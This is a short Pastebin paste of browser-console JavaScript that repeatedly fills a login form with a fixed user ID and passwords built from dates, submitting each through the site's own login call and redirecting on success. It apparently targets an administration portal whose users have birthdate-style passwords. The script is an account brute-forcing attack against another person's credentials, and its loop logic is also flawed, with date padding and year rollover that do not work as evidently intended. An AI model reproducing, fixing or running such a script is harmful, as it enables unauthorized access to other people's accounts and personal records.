matekaOSF2

Untitled

Sep 21st, 2020 (edited)
630
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. var year = 2000
  2. var month = 1
  3. var day = 1
  4.  
  5. function CalculatePassword() {
  6. for (month; month < 13; month++) {
  7. if (month > 10) {
  8.    month = "0" + month
  9. } else if (month == 12) {
  10.    year = year + 1
  11. }
  12.  
  13. for (day; day < 30; day++) {
  14. if (day < 10) {
  15. day = "0" + day
  16. } else if (day == 30) {
  17. console.log("Complete!")
  18. }
  19. console.log(document.getElementById("Password").value)
  20. document.getElementById("UserName").value = 72655836837
  21. document.getElementById("Password").value = year + "-" + month + "-" + day
  22. login()
  23. }
  24. }
  25. }
  26.  
  27. function login() {
  28. var data = $("#LoginForm").toObject();
  29. AjaxHelper.DoValidationPost("/Adminisztracio/Login/LoginCheck",
  30. "LoginForm",
  31. data,
  32. loginCallback
  33. );
  34. }
  35.  
  36. function loginCallback(answer) {
  37. if (answer.Success) {
  38. loginRedirect()
  39. }
  40.             }
  41.  
  42. function loginRedirect() {
  43.                 location.href = "/Adminisztracio/SzerepkorValaszto";
  44.             }
  45.  
  46. CalculatePassword()
RAW Paste Data